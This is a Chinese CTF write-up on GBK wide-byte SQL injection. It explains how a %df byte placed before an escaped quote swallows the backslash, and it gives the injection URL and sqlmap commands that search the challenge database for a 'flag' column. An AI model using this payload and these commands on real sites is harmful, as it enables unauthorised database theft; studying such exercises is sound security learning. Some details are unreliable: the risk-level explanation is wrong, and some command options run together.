宽字节注入
这里的话,先上例题
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
来自南邮CTF 挺典型的一道宽字节注入的题目。
之前在笔记中写过为啥宽字节成立。
这里解释一下宽字节注入 应该只用于GBK编码的环境,然后开启了icov或者addslashes函数
%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而’逃逸了出来,有了单引号就好注入了
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' 这个就是我们url,输入sqlmap中
接下里的倒库操作中呢,我们还可以加点调料进去
--threads 10 //如果你玩过 msfconsole的话会对这个很熟悉 sqlmap线程最高设置为10
--level 3 //sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高可到5
--risk 3 // 执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全
----search //后面跟参数 -D -T -C 搜索列(S),表(S)和或数据库名称(S) 如果你脑子够聪明,应该知道库列表名中可能会有ctf,flag等字样,结果有时候题目就是这么耿直对吧?
不多说了,直接上命令
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" --search -C flag--level 3 --risk 1 --thread 10 sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" --prefix="%df%27" --search -C flag--level 3 --risk 1 --thread 10